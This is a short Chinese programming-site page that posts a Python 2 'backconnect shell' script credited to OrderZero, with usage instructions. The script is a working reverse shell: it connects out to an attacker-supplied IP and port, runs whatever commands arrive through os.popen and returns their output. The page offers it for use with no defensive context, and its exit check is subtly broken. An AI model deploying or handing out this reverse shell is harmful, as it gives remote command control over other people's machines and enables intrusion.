当前位置:编程学习 > python >>

windows下python反弹脚本

#!/usr/bin/python
import socket
import sys
import os

def usage():
	print "Simple Python Backconnect Shell"
	print "Usage:"
	print "./bc.py [ip] [port]"
	quit()

#Initialize socket
s = socket.socket()

#Check if required arguments have been filled
try:
	ip = sys.argv[1]
	port = int(sys.argv[2])
except:
	usage()

#Connect to given target IP & port
try:
	s.connect((ip, port))
except:
	print "Connection Failed! Check your connection settings and try again."
	quit()

while(1):
	data = s.recv(1024)		
	if(data == quit
):
		s.close()
		break
	else:
		shell = os.popen(data).read()
		s.send(shell)

print "Exiting..."
s.close()

#Author: OrderZero
补充:Web开发 , Python ,
CopyRight © 2022 站长资源库 编程知识问答 zzzyk.com All Rights Reserved
部分文章来自网络,